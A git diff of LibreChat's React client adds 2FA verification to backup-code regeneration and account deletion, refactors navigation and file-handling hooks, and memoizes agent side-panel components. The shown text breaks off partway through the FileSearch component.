@@ -20,8 +20,8 @@ function AccountSettings() {
const accountSettingsButtonRef = useRef
(null);
return (
-
-
+
{user?.name ?? user?.username ?? localize('com_nav_user')}
-
-
+
>
)}
- setShowFiles(true)}
- className="select-item text-sm"
- >
+ setShowFiles(true)} className="select-item text-sm">
{localize('com_nav_my_files')}
-
+
{startupConfig?.helpAndFaqURL !== '/' && (
- window.open(startupConfig?.helpAndFaqURL, '_blank')}
className="select-item text-sm"
>
{localize('com_nav_help_faq')}
-
+
)}
- setShowSettings(true)}
- className="select-item text-sm"
- >
+ setShowSettings(true)} className="select-item text-sm">
{localize('com_nav_settings')}
-
+
- logout()}
- value="logout"
- className="select-item text-sm"
- >
+ logout()} className="select-item text-sm">
{localize('com_nav_log_out')}
-
-
+
+
{showFiles && (
)}
{showSettings &&
}
-
+
);
}
diff --git a/client/src/components/Nav/Favorites/FavoritesList.tsx b/client/src/components/Nav/Favorites/FavoritesList.tsx
index 86fe4a793f..82225733fd 100644
--- a/client/src/components/Nav/Favorites/FavoritesList.tsx
+++ b/client/src/components/Nav/Favorites/FavoritesList.tsx
@@ -1,15 +1,21 @@
import React, { useRef, useCallback, useMemo, useEffect } from 'react';
-import { useRecoilValue } from 'recoil';
import { LayoutGrid } from 'lucide-react';
import { useDrag, useDrop } from 'react-dnd';
import { Skeleton } from '@librechat/client';
import { useNavigate } from 'react-router-dom';
import { useQueries } from '@tanstack/react-query';
+import { useRecoilValue } from 'recoil';
import { QueryKeys, dataService } from 'librechat-data-provider';
import type t from 'librechat-data-provider';
-import { useFavorites, useLocalize, useShowMarketplace, useNewConvo } from '~/hooks';
-import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
import type { AgentQueryResult } from '~/common';
+import {
+ useGetConversation,
+ useShowMarketplace,
+ useFavorites,
+ useLocalize,
+ useNewConvo,
+} from '~/hooks';
+import { useAssistantsMapContext, useAgentsMapContext } from '~/Providers';
import useSelectMention from '~/hooks/Input/useSelectMention';
import { useGetEndpointsQuery } from '~/data-provider';
import FavoriteItem from './FavoriteItem';
@@ -122,20 +128,20 @@ export default function FavoritesList({
const navigate = useNavigate();
const localize = useLocalize();
const search = useRecoilValue(store.search);
+ const getConversation = useGetConversation(0);
const { favorites, reorderFavorites, isLoading: isFavoritesLoading } = useFavorites();
const showAgentMarketplace = useShowMarketplace();
const { newConversation } = useNewConvo();
const assistantsMap = useAssistantsMapContext();
const agentsMap = useAgentsMapContext();
- const conversation = useRecoilValue(store.conversationByIndex(0));
const { data: endpointsConfig = {} as t.TEndpointsConfig } = useGetEndpointsQuery();
const { onSelectEndpoint } = useSelectMention({
modelSpecs: [],
- conversation,
assistantsMap,
endpointsConfig,
+ getConversation,
newConversation,
returnHandlers: true,
});
diff --git a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
index 8318b94698..ed71221de3 100644
--- a/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
+++ b/client/src/components/Nav/Favorites/tests/FavoritesList.spec.tsx
@@ -56,6 +56,7 @@ jest.mock('~/hooks', () => ({
useLocalize: () => (key: string) => key,
useShowMarketplace: () => false,
useNewConvo: () => ({ newConversation: jest.fn() }),
+ useGetConversation: () => () => null,
}));
jest.mock('~/Providers', () => ({
diff --git a/client/src/components/Nav/Nav.tsx b/client/src/components/Nav/Nav.tsx
index 74883b94f4..cdee938663 100644
--- a/client/src/components/Nav/Nav.tsx
+++ b/client/src/components/Nav/Nav.tsx
@@ -225,6 +225,7 @@ const Nav = memo(
aria-label={localize('com_ui_chat_history')}
className="flex h-full flex-col px-2 pb-3.5"
aria-hidden={!navVisible}
+ {...{ inert: !navVisible ? '' : undefined }}
>
= useCallback(
+ const clickHandler: React.MouseEventHandler = useCallback(
(e) => {
- if (e.button === 0 && (e.ctrlKey || e.metaKey)) {
- window.open('/c/new', '_blank');
+ // Let browser handle modified/non-left clicks (new tab, context menu, etc.)
+ if (e.button !== 0 || e.metaKey || e.ctrlKey || e.shiftKey || e.altKey) {
return;
}
+
+ e.preventDefault();
clearMessagesCache(queryClient, conversation?.conversationId);
queryClient.invalidateQueries([QueryKeys.messages]);
newConvo();
- navigate('/c/new', { state: { focusChat: true } });
if (isSmallScreen) {
toggleNav();
}
},
- [queryClient, conversation, newConvo, navigate, toggleNav, isSmallScreen],
+ [queryClient, conversation, newConvo, toggleNav, isSmallScreen],
);
return (
@@ -84,14 +84,16 @@ export default function NewChat({
description={localize('com_ui_new_chat')}
render={
-
+
+
+
}
/>
diff --git a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
index c89ce61fff..e66cb7b08a 100644
--- a/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/BackupCodesItem.tsx
@@ -1,12 +1,23 @@
import React, { useState } from 'react';
import { RefreshCcw } from 'lucide-react';
+import { useSetRecoilState } from 'recoil';
import { motion, AnimatePresence } from 'framer-motion';
-import { TBackupCode, TRegenerateBackupCodesResponse, type TUser } from 'librechat-data-provider';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
+import type {
+ TRegenerateBackupCodesResponse,
+ TRegenerateBackupCodesRequest,
+ TBackupCode,
+ TUser,
+} from 'librechat-data-provider';
import {
- OGDialog,
+ InputOTPSeparator,
+ InputOTPGroup,
+ InputOTPSlot,
OGDialogContent,
OGDialogTitle,
OGDialogTrigger,
+ OGDialog,
+ InputOTP,
Button,
Label,
Spinner,
@@ -15,7 +26,6 @@ import {
} from '@librechat/client';
import { useRegenerateBackupCodesMutation } from '~/data-provider';
import { useAuthContext, useLocalize } from '~/hooks';
-import { useSetRecoilState } from 'recoil';
import store from '~/store';
const BackupCodesItem: React.FC = () => {
@@ -24,25 +34,30 @@ const BackupCodesItem: React.FC = () => {
const { showToast } = useToastContext();
const setUser = useSetRecoilState(store.user);
const [isDialogOpen, setDialogOpen] = useState(false);
+ const [otpToken, setOtpToken] = useState('');
+ const [useBackup, setUseBackup] = useState(false);
const { mutate: regenerateBackupCodes, isLoading } = useRegenerateBackupCodesMutation();
+ const needs2FA = !!user?.twoFactorEnabled;
+
const fetchBackupCodes = (auto: boolean = false) => {
- regenerateBackupCodes(undefined, {
+ let payload: TRegenerateBackupCodesRequest | undefined;
+ if (needs2FA && otpToken.trim()) {
+ payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+ }
+
+ regenerateBackupCodes(payload, {
onSuccess: (data: TRegenerateBackupCodesResponse) => {
- const newBackupCodes: TBackupCode[] = data.backupCodesHash.map((codeHash) => ({
- codeHash,
- used: false,
- usedAt: null,
- }));
+ const newBackupCodes: TBackupCode[] = data.backupCodesHash;
setUser((prev) => ({ ...prev, backupCodes: newBackupCodes }) as TUser);
+ setOtpToken('');
showToast({
message: localize('com_ui_backup_codes_regenerated'),
status: 'success',
});
- // Trigger file download only when user explicitly clicks the button.
if (!auto && newBackupCodes.length) {
const codesString = data.backupCodes.join('\n');
const blob = new Blob([codesString], { type: 'text/plain;charset=utf-8' });
@@ -66,6 +81,8 @@ const BackupCodesItem: React.FC = () => {
fetchBackupCodes(false);
};
+ const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
return (
@@ -161,10 +178,10 @@ const BackupCodesItem: React.FC = () => {
);
})}
-
+
@@ -183,7 +200,7 @@ const BackupCodesItem: React.FC = () => {
@@ -192,6 +209,59 @@ const BackupCodesItem: React.FC = () => {
)}
+ {needs2FA && (
+
+
+ {localize('com_ui_2fa_verification_required')}
+
+
+
+ {useBackup ? (
+
+
+
+
+
+
+
+
+
+
+ ) : (
+ <>
+
+
+
+
+
+
+
+
+
+
+
+ >
+ )}
+
+
+
{
+ setUseBackup(!useBackup);
+ setOtpToken('');
+ }}
+ className="text-sm text-primary hover:underline"
+ >
+ {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+
+
+ )}
diff --git a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
index e879a0f2c6..d9c432c6a2 100644
--- a/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
+++ b/client/src/components/Nav/SettingsTabs/Account/DeleteAccount.tsx
@@ -1,16 +1,22 @@
-import { LockIcon, Trash } from 'lucide-react';
import React, { useState, useCallback } from 'react';
+import { LockIcon, Trash } from 'lucide-react';
+import { REGEXP_ONLY_DIGITS, REGEXP_ONLY_DIGITS_AND_CHARS } from 'input-otp';
import {
- Label,
- Input,
- Button,
- Spinner,
- OGDialog,
+ InputOTPSeparator,
OGDialogContent,
OGDialogTrigger,
OGDialogHeader,
+ InputOTPGroup,
OGDialogTitle,
+ InputOTPSlot,
+ OGDialog,
+ InputOTP,
+ Spinner,
+ Button,
+ Label,
+ Input,
} from '@librechat/client';
+import type { TDeleteUserRequest } from 'librechat-data-provider';
import { useDeleteUserMutation } from '~/data-provider';
import { useAuthContext } from '~/hooks/AuthContext';
import { LocalizeFunction } from '~/common';
@@ -21,16 +27,27 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
const localize = useLocalize();
const { user, logout } = useAuthContext();
const { mutate: deleteUser, isLoading: isDeleting } = useDeleteUserMutation({
- onMutate: () => logout(),
+ onSuccess: () => logout(),
});
const [isDialogOpen, setDialogOpen] = useState(false);
const [isLocked, setIsLocked] = useState(true);
+ const [otpToken, setOtpToken] = useState('');
+ const [useBackup, setUseBackup] = useState(false);
+
+ const needs2FA = !!user?.twoFactorEnabled;
const handleDeleteUser = () => {
- if (!isLocked) {
- deleteUser(undefined);
+ if (isLocked) {
+ return;
}
+
+ let payload: TDeleteUserRequest | undefined;
+ if (needs2FA && otpToken.trim()) {
+ payload = useBackup ? { backupCode: otpToken.trim() } : { token: otpToken.trim() };
+ }
+
+ deleteUser(payload);
};
const handleInputChange = useCallback(
@@ -42,6 +59,8 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
[user?.email],
);
+ const otpReady = !needs2FA || otpToken.length === (useBackup ? 8 : 6);
+
return (
<>
@@ -79,7 +98,60 @@ const DeleteAccount = ({ disabled = false }: { title?: string; disabled?: boolea
(e) => handleInputChange(e.target.value),
)}
- {renderDeleteButton(handleDeleteUser, isDeleting, isLocked, localize)}
+ {needs2FA && (
+
+
+ {localize('com_ui_2fa_verification_required')}
+
+
+
+ {useBackup ? (
+
+
+
+
+
+
+
+
+
+
+ ) : (
+ <>
+
+
+
+
+
+
+
+
+
+
+
+ >
+ )}
+
+
+
{
+ setUseBackup(!useBackup);
+ setOtpToken('');
+ }}
+ className="text-sm text-primary hover:underline"
+ >
+ {useBackup ? localize('com_ui_use_2fa_code') : localize('com_ui_use_backup_code')}
+
+
+ )}
+ {renderDeleteButton(handleDeleteUser, isDeleting, isLocked || !otpReady, localize)}
diff --git a/client/src/components/Plugins/Store/PluginAuthForm.tsx b/client/src/components/Plugins/Store/PluginAuthForm.tsx
index 5af1948c11..d304b2eab7 100644
--- a/client/src/components/Plugins/Store/PluginAuthForm.tsx
+++ b/client/src/components/Plugins/Store/PluginAuthForm.tsx
@@ -20,6 +20,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
const localize = useLocalize();
const authConfig = plugin?.authConfig ?? [];
+ const allFieldsOptional = authConfig.length > 0 && authConfig.every((c) => c.optional === true);
return (
@@ -38,6 +39,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
>
{authConfig.map((config: TPluginAuthConfig, i: number) => {
const authField = config.authField.split('||')[0];
+ const isOptional = config.optional === true;
return (
@@ -82,7 +89,7 @@ function PluginAuthForm({ plugin, onSubmit, isEntityTool }: TPluginAuthFormProps
);
})}
{
diff --git a/client/src/components/Share/Message.tsx b/client/src/components/Share/Message.tsx
index 99d46954a8..8e2c7796e3 100644
--- a/client/src/components/Share/Message.tsx
+++ b/client/src/components/Share/Message.tsx
@@ -69,7 +69,7 @@ export default function Message(props: TMessageProps) {
>
{messageLabel}
-
+
(-1);
return (
-
+
-
- {(_messagesTree && _messagesTree.length == 0) || _messagesTree === null ? (
+
+ {(_messagesTree && _messagesTree.length === 0) || _messagesTree === null ? (
{localize('com_ui_nothing_found')}
diff --git a/client/src/components/Share/ShareMessagesProvider.tsx b/client/src/components/Share/ShareMessagesProvider.tsx
index e87591a082..e614aa891a 100644
--- a/client/src/components/Share/ShareMessagesProvider.tsx
+++ b/client/src/components/Share/ShareMessagesProvider.tsx
@@ -25,7 +25,8 @@ export function ShareMessagesProvider({ messages, children }: ShareMessagesProvi
ask: () => Promise.resolve(),
regenerate: () => {},
handleContinue: () => {},
- latestMessage: messages[messages.length - 1] ?? null,
+ latestMessageId: messages[messages.length - 1]?.messageId,
+ latestMessageDepth: messages[messages.length - 1]?.depth,
isSubmitting: false,
abortScroll: false,
setAbortScroll: () => {},
diff --git a/client/src/components/Share/ShareView.tsx b/client/src/components/Share/ShareView.tsx
index 99ab7f35eb..00a0d36398 100644
--- a/client/src/components/Share/ShareView.tsx
+++ b/client/src/components/Share/ShareView.tsx
@@ -123,14 +123,14 @@ function SharedView() {
}
const footer = (
-
-
+
+
);
const mainContent = (
-
+
{content}
{footer}
@@ -189,11 +189,13 @@ function ShareHeader({
}, []);
return (
-
-
+
+
-
-
{title}
+
+
+ {title}
+
{formattedDate && (
diff --git a/client/src/components/SidePanel/Agents/AgentAvatar.tsx b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
index bb1d44dfdc..6b778f6515 100644
--- a/client/src/components/SidePanel/Agents/AgentAvatar.tsx
+++ b/client/src/components/SidePanel/Agents/AgentAvatar.tsx
@@ -1,4 +1,4 @@
-import { useEffect, useCallback } from 'react';
+import { memo, useCallback, useEffect } from 'react';
import { useToastContext } from '@librechat/client';
import { useFormContext, useWatch } from 'react-hook-form';
import { mergeFileConfig, fileConfig as defaultFileConfig } from 'librechat-data-provider';
@@ -99,4 +99,10 @@ function Avatar({ avatar }: { avatar: AgentAvatar | null }) {
);
}
-export default Avatar;
+const MemoizedAvatar = memo(
+ Avatar,
+ (prevProps, nextProps) => prevProps.avatar?.filepath === nextProps.avatar?.filepath,
+);
+MemoizedAvatar.displayName = 'Avatar';
+
+export default MemoizedAvatar;
diff --git a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
index 5840fe0f12..4485c0b08d 100644
--- a/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
+++ b/client/src/components/SidePanel/Agents/AgentCategorySelector.tsx
@@ -1,4 +1,4 @@
-import React, { useState } from 'react';
+import React, { memo, useState } from 'react';
import { ControlCombobox } from '@librechat/client';
import {
useWatch,
@@ -95,4 +95,10 @@ const AgentCategorySelector: React.FC<{ className?: string }> = ({ className })
);
};
-export default AgentCategorySelector;
+const MemoizedAgentCategorySelector = memo(
+ AgentCategorySelector,
+ (prevProps, nextProps) => prevProps.className === nextProps.className,
+);
+MemoizedAgentCategorySelector.displayName = 'AgentCategorySelector';
+
+export default MemoizedAgentCategorySelector;
diff --git a/client/src/components/SidePanel/Agents/AgentFooter.tsx b/client/src/components/SidePanel/Agents/AgentFooter.tsx
index b2fa996596..ff98f7c48b 100644
--- a/client/src/components/SidePanel/Agents/AgentFooter.tsx
+++ b/client/src/components/SidePanel/Agents/AgentFooter.tsx
@@ -57,6 +57,7 @@ export default function AgentFooter({
useResourcePermissions(ResourceType.REMOTE_AGENT, agent?._id || '');
const canShareThisAgent = hasPermission(PermissionBits.SHARE);
+ const canEditThisAgent = hasPermission(PermissionBits.EDIT);
const canDeleteThisAgent = hasPermission(PermissionBits.DELETE);
const canShareRemoteAgent = hasRemoteAgentPermission(PermissionBits.SHARE);
const isSaving = createMutation.isLoading || updateMutation.isLoading || isAvatarUploading;
@@ -118,7 +119,8 @@ export default function AgentFooter({
)}
- {agent && agent.author === user?.id &&
}
+ {(agent?.author === user?.id || user?.role === SystemRoles.ADMIN || canEditThisAgent) &&
+ !permissionsLoading &&
}
{/* Submit Button */}
{
- const agent_id = conversation?.agent_id ?? '';
+ const agent_id = agentId ?? '';
if (!isEphemeralAgent(agent_id)) {
setCurrentAgentId(agent_id);
}
- }, [setCurrentAgentId, conversation?.agent_id]);
+ }, [setCurrentAgentId, agentId]);
if (activePanel === Panel.actions) {
return ;
diff --git a/client/src/components/SidePanel/Agents/AgentSelect.tsx b/client/src/components/SidePanel/Agents/AgentSelect.tsx
index a9e4ef7036..323136340e 100644
--- a/client/src/components/SidePanel/Agents/AgentSelect.tsx
+++ b/client/src/components/SidePanel/Agents/AgentSelect.tsx
@@ -1,6 +1,6 @@
import { EarthIcon } from 'lucide-react';
import { ControlCombobox } from '@librechat/client';
-import { useCallback, useEffect, useRef } from 'react';
+import { memo, useCallback, useEffect, useRef } from 'react';
import { useFormContext, Controller } from 'react-hook-form';
import { AgentCapabilities, defaultAgentFormValues } from 'librechat-data-provider';
import type { UseMutationResult, QueryObserverResult } from '@tanstack/react-query';
@@ -12,7 +12,7 @@ import { useListAgentsQuery } from '~/data-provider';
const keys = new Set(Object.keys(defaultAgentFormValues));
-export default function AgentSelect({
+function AgentSelect({
agentQuery,
selectedAgentId = null,
setCurrentAgentId,
@@ -225,3 +225,16 @@ export default function AgentSelect({
/>
);
}
+
+const MemoizedAgentSelect = memo(
+ AgentSelect,
+ (prevProps, nextProps) =>
+ prevProps.selectedAgentId === nextProps.selectedAgentId &&
+ prevProps.agentQuery.data === nextProps.agentQuery.data &&
+ prevProps.agentQuery.isSuccess === nextProps.agentQuery.isSuccess &&
+ prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+ prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedAgentSelect.displayName = 'AgentSelect';
+
+export default MemoizedAgentSelect;
diff --git a/client/src/components/SidePanel/Agents/Code/Files.tsx b/client/src/components/SidePanel/Agents/Code/Files.tsx
index 3ef7da9ca6..16360a7a0b 100644
--- a/client/src/components/SidePanel/Agents/Code/Files.tsx
+++ b/client/src/components/SidePanel/Agents/Code/Files.tsx
@@ -1,23 +1,16 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { useFormContext } from 'react-hook-form';
import { AttachmentIcon } from '@librechat/client';
-import {
- EToolResources,
- EModelEndpoint,
- mergeFileConfig,
- AgentCapabilities,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EToolResources, EModelEndpoint, AgentCapabilities } from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import FileRow from '~/components/Chat/Input/Files/FileRow';
-import { useGetFileConfig } from '~/data-provider';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
const tool_resource = EToolResources.execute_code;
-export default function Files({
+function Files({
agent_id,
files: _files,
}: {
@@ -25,17 +18,21 @@ export default function Files({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
- const { abortUpload, handleFileChange } = useFileHandling({
- fileSetter: setFiles,
- additionalMetadata: { agent_id, tool_resource },
- });
+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
+ const { abortUpload, handleFileChange } = useFileHandlingNoChatContext(
+ {
+ fileSetter: setFiles,
+ additionalMetadata: { agent_id, tool_resource },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
@@ -48,12 +45,6 @@ export default function Files({
);
const codeChecked = watch(AgentCapabilities.execute_code);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
if (isUploadDisabled) {
@@ -80,7 +71,6 @@ export default function Files({
agent_id={agent_id}
abortUpload={abortUpload}
tool_resource={tool_resource}
- setFilesLoading={setFilesLoading}
Wrapper={({ children }) => {children}
}
/>
@@ -109,3 +99,8 @@ export default function Files({
);
}
+
+const MemoizedFiles = memo(Files);
+MemoizedFiles.displayName = 'Files';
+
+export default MemoizedFiles;
diff --git a/client/src/components/SidePanel/Agents/DeleteButton.tsx b/client/src/components/SidePanel/Agents/DeleteButton.tsx
index 9758f80abe..a738e382b3 100644
--- a/client/src/components/SidePanel/Agents/DeleteButton.tsx
+++ b/client/src/components/SidePanel/Agents/DeleteButton.tsx
@@ -1,4 +1,6 @@
+import { memo } from 'react';
import { useFormContext } from 'react-hook-form';
+import { useRecoilValue, useSetRecoilState } from 'recoil';
import {
Label,
Button,
@@ -11,12 +13,12 @@ import {
import type { Agent, AgentCreateParams } from 'librechat-data-provider';
import type { UseMutationResult } from '@tanstack/react-query';
import { logger, getDefaultAgentFormValues } from '~/utils';
-import { useLocalize, useSetIndexOptions } from '~/hooks';
import { useDeleteAgentMutation } from '~/data-provider';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
+import { useLocalize } from '~/hooks';
+import store from '~/store';
-export default function DeleteButton({
+function DeleteButton({
agent_id,
setCurrentAgentId,
createMutation,
@@ -28,8 +30,8 @@ export default function DeleteButton({
const localize = useLocalize();
const { reset } = useFormContext();
const { showToast } = useToastContext();
- const { conversation } = useChatContext();
- const { setOption } = useSetIndexOptions();
+ const setConversation = useSetRecoilState(store.conversationByIndex(0));
+ const conversationAgentId = useRecoilValue(store.conversationAgentIdByIndex(0));
const deleteAgent = useDeleteAgentMutation({
onSuccess: (_, vars, context) => {
@@ -52,15 +54,16 @@ export default function DeleteButton({
if (!firstAgent) {
setCurrentAgentId(undefined);
reset(getDefaultAgentFormValues());
- return setOption('agent_id')('');
+ setConversation((prev) => (prev ? { ...prev, agent_id: '' } : prev));
+ return;
}
- if (vars.agent_id === conversation?.agent_id) {
- setOption('model')('');
- return setOption('agent_id')(firstAgent.id);
+ if (vars.agent_id === conversationAgentId) {
+ setConversation((prev) => (prev ? { ...prev, model: '', agent_id: firstAgent.id } : prev));
+ return;
}
- const currentAgent = updatedList.find((agent) => agent.id === conversation?.agent_id);
+ const currentAgent = updatedList.find((agent) => agent.id === conversationAgentId);
if (currentAgent) {
setCurrentAgentId(currentAgent.id);
@@ -88,6 +91,7 @@ export default function DeleteButton({
size="sm"
variant="outline"
aria-label={localize('com_ui_delete_agent')}
+ title={localize('com_ui_delete_agent')}
type="button"
>
@@ -118,3 +122,15 @@ export default function DeleteButton({
);
}
+
+const MemoizedDeleteButton = memo(
+ DeleteButton,
+ (prevProps, nextProps) =>
+ prevProps.agent_id === nextProps.agent_id &&
+ prevProps.setCurrentAgentId === nextProps.setCurrentAgentId &&
+ prevProps.createMutation.data?.id === nextProps.createMutation.data?.id &&
+ prevProps.createMutation.isLoading === nextProps.createMutation.isLoading,
+);
+MemoizedDeleteButton.displayName = 'DeleteButton';
+
+export default MemoizedDeleteButton;
diff --git a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
index 089dea0732..1e598d528d 100644
--- a/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
+++ b/client/src/components/SidePanel/Agents/DuplicateAgent.tsx
@@ -37,6 +37,7 @@ export default function DuplicateAgent({ agent_id }: { agent_id: string }) {
size="sm"
variant="outline"
aria-label={localize('com_ui_duplicate_agent')}
+ title={localize('com_ui_duplicate_agent')}
type="button"
onClick={handleDuplicate}
>
diff --git a/client/src/components/SidePanel/Agents/FileContext.tsx b/client/src/components/SidePanel/Agents/FileContext.tsx
index d437e8457f..906d742127 100644
--- a/client/src/components/SidePanel/Agents/FileContext.tsx
+++ b/client/src/components/SidePanel/Agents/FileContext.tsx
@@ -1,12 +1,7 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
-import {
- EModelEndpoint,
- EToolResources,
- mergeFileConfig,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources } from 'librechat-data-provider';
import {
HoverCard,
DropdownPopup,
@@ -18,14 +13,15 @@ import {
HoverCardTrigger,
} from '@librechat/client';
import type { ExtendedFile } from '~/common';
-import { useFileHandling, useLocalize, useLazyEffect, useSharePointFileHandling } from '~/hooks';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
import { ESide, isEphemeralAgent } from '~/common';
-import { useChatContext } from '~/Providers';
-export default function FileContext({
+function FileContext({
agent_id,
files: _files,
}: {
@@ -33,26 +29,35 @@ export default function FileContext({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const fileInputRef = useRef
(null);
const [files, setFiles] = useState>(new Map());
+ const fileHandlingState = useMemo(() => ({ files, setFiles, conversation: null }), [files]);
const [isPopoverActive, setIsPopoverActive] = useState(false);
const [isSharePointDialogOpen, setIsSharePointDialogOpen] = useState(false);
const { data: startupConfig } = useGetStartupConfig();
const sharePointEnabled = startupConfig?.sharePointFilePickerEnabled;
+ const { endpointFileConfig, providerValue, endpointType } = useAgentFileConfig();
+ const endpointOverride = providerValue || EModelEndpoint.agents;
- const { data: fileConfig = null } = useGetFileConfig({
- select: (data) => mergeFileConfig(data),
- });
-
- const { handleFileChange } = useFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.context },
- fileSetter: setFiles,
- });
- const { handleSharePointFiles, isProcessing, downloadProgress } = useSharePointFileHandling({
- additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
- fileSetter: setFiles,
- });
+ const { handleFileChange } = useFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.context },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
+ const { handleSharePointFiles, isProcessing, downloadProgress } =
+ useSharePointFileHandlingNoChatContext(
+ {
+ additionalMetadata: { agent_id, tool_resource: EToolResources.file_search },
+ endpointOverride,
+ endpointTypeOverride: endpointType,
+ fileSetter: setFiles,
+ },
+ fileHandlingState,
+ );
useLazyEffect(
() => {
if (_files) {
@@ -62,12 +67,6 @@ export default function FileContext({
[_files],
750,
);
-
- const endpointFileConfig = getEndpointFileConfig({
- fileConfig,
- endpoint: EModelEndpoint.agents,
- endpointType: EModelEndpoint.agents,
- });
const isUploadDisabled = endpointFileConfig?.disabled ?? false;
const handleSharePointFilesSelected = async (sharePointFiles: any[]) => {
try {
@@ -136,7 +135,6 @@ export default function FileContext({
{children}
}
@@ -197,3 +195,8 @@ export default function FileContext({
);
}
+
+const MemoizedFileContext = memo(FileContext);
+MemoizedFileContext.displayName = 'FileContext';
+
+export default MemoizedFileContext;
diff --git a/client/src/components/SidePanel/Agents/FileSearch.tsx b/client/src/components/SidePanel/Agents/FileSearch.tsx
index a82fc8bdfb..79a08de0ed 100644
--- a/client/src/components/SidePanel/Agents/FileSearch.tsx
+++ b/client/src/components/SidePanel/Agents/FileSearch.tsx
@@ -1,26 +1,20 @@
-import { useState, useRef } from 'react';
+import { memo, useMemo, useRef, useState } from 'react';
import { Folder } from 'lucide-react';
import * as Ariakit from '@ariakit/react';
import { useFormContext } from 'react-hook-form';
import { SharePointIcon, AttachmentIcon, DropdownPopup } from '@librechat/client';
-import {
- EModelEndpoint,
- EToolResources,
- mergeFileConfig,
- AgentCapabilities,
- getEndpointFileConfig,
-} from 'librechat-data-provider';
+import { EModelEndpoint, EToolResources, AgentCapabilities } from 'librechat-data-provider';
import type { ExtendedFile, AgentForm } from '~/common';
-import useSharePointFileHandling from '~/hooks/Files/useSharePointFileHandling';
-import { useGetFileConfig, useGetStartupConfig } from '~/data-provider';
-import { useFileHandling, useLocalize, useLazyEffect } from '~/hooks';
+import { useSharePointFileHandlingNoChatContext } from '~/hooks/Files/useSharePointFileHandling';
+import { useFileHandlingNoChatContext } from '~/hooks/Files/useFileHandling';
+import { useAgentFileConfig, useLocalize, useLazyEffect } from '~/hooks';
import { SharePointPickerDialog } from '~/components/SharePoint';
import FileRow from '~/components/Chat/Input/Files/FileRow';
+import { useGetStartupConfig } from '~/data-provider';
import FileSearchCheckbox from './FileSearchCheckbox';
-import { useChatContext } from '~/Providers';
import { isEphemeralAgent } from '~/common';
-export default function FileSearch({
+function FileSearch({
agent_id,
files: _files,
}: {
@@ -28,29 +22,38 @@ export default function FileSearch({
files?: [string, ExtendedFile][];
}) {
const localize = useLocalize();
- const { setFilesLoading } = useChatContext();
const { watch } = useFormContext();
const fileInputRef = useRef(null);
const [files, setFiles] = useState>(new Map());
